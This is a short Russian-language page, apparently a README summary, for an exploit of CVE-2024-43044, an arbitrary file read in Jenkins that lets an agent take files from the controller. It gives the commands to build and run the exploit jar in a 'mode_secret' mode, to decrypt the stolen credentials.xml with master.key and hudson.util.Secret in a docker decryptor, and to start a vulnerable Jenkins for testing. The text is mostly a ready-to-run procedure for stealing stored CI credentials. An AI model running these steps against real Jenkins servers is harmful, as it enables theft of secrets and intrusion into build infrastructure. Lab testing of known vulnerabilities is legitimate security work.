
Эксплойт для CVE-2024-43044, позволяющий произвольное чтение файлов с контроллера Jenkins для извлечения и дешифровки credentials.xml с использованием секретных ключей.
Это эксплойт для CVE-2024-43044 — произвольного чтения файлов, позволяющего агенту получать файлы с контроллера.
Эксплойт использует уязвимость для чтения файла credentials.xml и получения секретных ключей для его расшифровки.
Исходный код: https://github.com/convisolabs/CVE-2024-43044-jenkins Оригинальная статья: https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
docker run \
--rm \
--network none \
--workdir / \
--mount "type=bind,src=$PWD/master.key,dst=/master.key" \
--mount "type=bind,src=$PWD/hudson.util.Secret,dst=/hudson.util.Secret" \
--mount "type=bind,src=$PWD/credentials.xml,dst=/credentials.xml" \
docker.io/hoto/jenkins-credentials-decryptor:latest \
/jenkins-credentials-decryptor \
-m master.key \
-s hudson.util.Secret \
-c credentials.xml \
-o json
Вы можете протестировать его на уязвимой версии с помощью Docker:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
После того как Jenkins запущен, настройте агента.